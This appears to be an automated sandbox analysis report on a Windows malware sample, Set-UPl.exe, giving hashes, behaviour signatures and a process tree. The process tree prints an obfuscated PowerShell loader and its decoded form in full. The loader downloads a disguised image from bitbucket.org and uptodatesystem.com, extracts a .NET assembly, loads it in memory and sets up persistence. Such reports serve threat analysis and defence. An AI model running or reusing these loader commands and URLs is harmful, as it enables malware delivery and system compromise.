Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
28/01/2025, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
Set-UPl.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Set-UPl.exe
Resource
win10v2004-20241007-en
General
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Target
Set-UPl.exe
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Size
160KB
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MD5
f1db90bf5d46bb698d7aa9480e2724e0
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SHA1
bdee2c1420afe80f5596c358fbb7d5644422713b
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SHA256
9bfc75e72ad81d1997489c972f263f135398776986af20ca047cec35b622f6e1
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SHA512
9e95d0e49a288ede894e1cb209d1ba97cfeba71ebc504e3be501a49ca91ea5b13e330d070c48db1fca981b56c26c0bdd2f21ccccf803617cfd0a06c02730a55d
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SSDEEP
3072:LahKyd2n31P5GWp1icKAArDZz4N9GhbkrNEk1F6uDT:LahOXp0yN90QENuH
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 1908 powershell.exe 7 1908 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2680 powershell.exe 1908 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" Set-UPl.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 5 bitbucket.org 6 bitbucket.org 7 bitbucket.org -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2680 powershell.exe 1908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2680 powershell.exe Token: SeDebugPrivilege 1908 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2760 wrote to memory of 2888 2760 Set-UPl.exe 30 PID 2760 wrote to memory of 2888 2760 Set-UPl.exe 30 PID 2760 wrote to memory of 2888 2760 Set-UPl.exe 30 PID 2888 wrote to memory of 2828 2888 cmd.exe 32 PID 2888 wrote to memory of 2828 2888 cmd.exe 32 PID 2888 wrote to memory of 2828 2888 cmd.exe 32 PID 2828 wrote to memory of 2680 2828 WScript.exe 33 PID 2828 wrote to memory of 2680 2828 WScript.exe 33 PID 2828 wrote to memory of 2680 2828 WScript.exe 33 PID 2680 wrote to memory of 1908 2680 powershell.exe 35 PID 2680 wrote to memory of 1908 2680 powershell.exe 35 PID 2680 wrote to memory of 1908 2680 powershell.exe 35
Processes
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C:\Users\Admin\AppData\Local\Temp\Set-UPl.exe"C:\Users\Admin\AppData\Local\Temp\Set-UPl.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\system32\cmd.execmd.exe /c 6793fbe82c030.vbs2⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6793fbe82c030.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gw@aQBu@Gs@cw@g@D0@I@B@@Cg@JwBo@HQ@d@Bw@HM@Og@v@C8@YgBp@HQ@YgB1@GM@awBl@HQ@LgBv@HI@Zw@v@GQ@ZgBn@Gg@Z@@v@GY@ZwBk@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@C4@agBw@Gc@Pw@x@DM@Nw@x@DE@Mw@n@Cw@I@@n@Gg@d@B0@H@@Og@v@C8@dQBw@HQ@bwBk@GE@d@Bl@HM@eQBz@HQ@ZQBt@C4@YwBv@G0@LwB0@GU@cwB0@C8@d@Bl@HM@d@@u@Go@c@Bn@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@C@@PQ@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQ@g@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@YgBh@HM@ZQ@2@DQ@QwBv@G0@bQBh@G4@Z@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@UwB1@GI@cwB0@HI@aQBu@Gc@K@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@L@@g@CQ@YgBh@HM@ZQ@2@DQ@T@Bl@G4@ZwB0@Gg@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@d@Bl@Hg@d@@g@D0@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@7@C@@J@Bs@G8@YQBk@GU@Z@BB@HM@cwBl@G0@YgBs@Hk@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FI@ZQBm@Gw@ZQBj@HQ@aQBv@G4@LgBB@HM@cwBl@G0@YgBs@Hk@XQ@6@Do@T@Bv@GE@Z@@o@CQ@YwBv@G0@bQBh@G4@Z@BC@Hk@d@Bl@HM@KQ@7@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@RQBu@GM@bwBk@GU@Z@BU@GU@e@B0@C@@PQBb@EM@bwBu@HY@ZQBy@HQ@XQ@6@Do@V@Bv@EI@YQBz@GU@Ng@0@FM@d@By@Gk@bgBn@Cg@J@BC@Hk@d@Bl@HM@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@bQBl@HQ@a@Bv@GQ@I@@9@C@@J@B0@Hk@c@Bl@C4@RwBl@HQ@TQBl@HQ@a@Bv@GQ@K@@n@Gw@ZgBz@Gc@ZQBk@GQ@Z@Bk@GQ@Z@Bk@GE@Jw@p@C4@SQBu@HY@bwBr@GU@K@@k@G4@dQBs@Gw@L@@g@Fs@bwBi@Go@ZQBj@HQ@WwBd@F0@I@@o@Cc@I@B0@Hg@d@@u@Gs@YwBw@HI@YQBl@G0@LwBz@GU@b@Bp@GY@XwBj@Gk@b@Bi@HU@c@@v@DQ@Ng@u@DY@Mg@y@C4@M@@2@C4@Mg@2@C8@Lw@6@Cc@L@@g@Cc@M@@n@Cw@I@@n@FM@d@Bh@HI@d@B1@H@@TgBh@G0@ZQ@n@Cw@I@@n@E0@cwBi@HU@aQBs@GQ@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/dfghd/fgd/downloads/test.jpg?137113', 'http://uptodatesystem.com/test/test.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.kcpraem/selif_cilbup/46.622.06.26//:', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
15KB
MD5df2cf0e572b148ecc8cdd2e8e5b17d86
SHA1aaf20eecbf331988effd8ba255369b9e56952b0f
SHA25672cec6d0911f7054b832ef6dfc996930ace2550c6d6fa8cfc4b87e786ddbf6ed
SHA512e6d446161acd5c00d5fddecae8fb4725637766eb537a95a4d0bbaa5ee588501fd3224d07f8477bc7967db0eef439754878596335a0da3e75a1fb13549e7df028
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD58c5883b744bf2a54675173cbf590e565
SHA1c1b96c6494a7d9219bcfc1e675f10f6a70a7d098
SHA256d1104609ce16107f51c30fe99575e32f10cf91138cf3afba3b2ba3bc01a167ac
SHA5124bc1ddec4d9b8fd191a5630844482897afba9b42f7ecddd6b5837cdd0f67cbf4bd153cc9ae3d29909c8ea6a79bffea9bdf9e383e5b8d3b67506f284ca72db4fc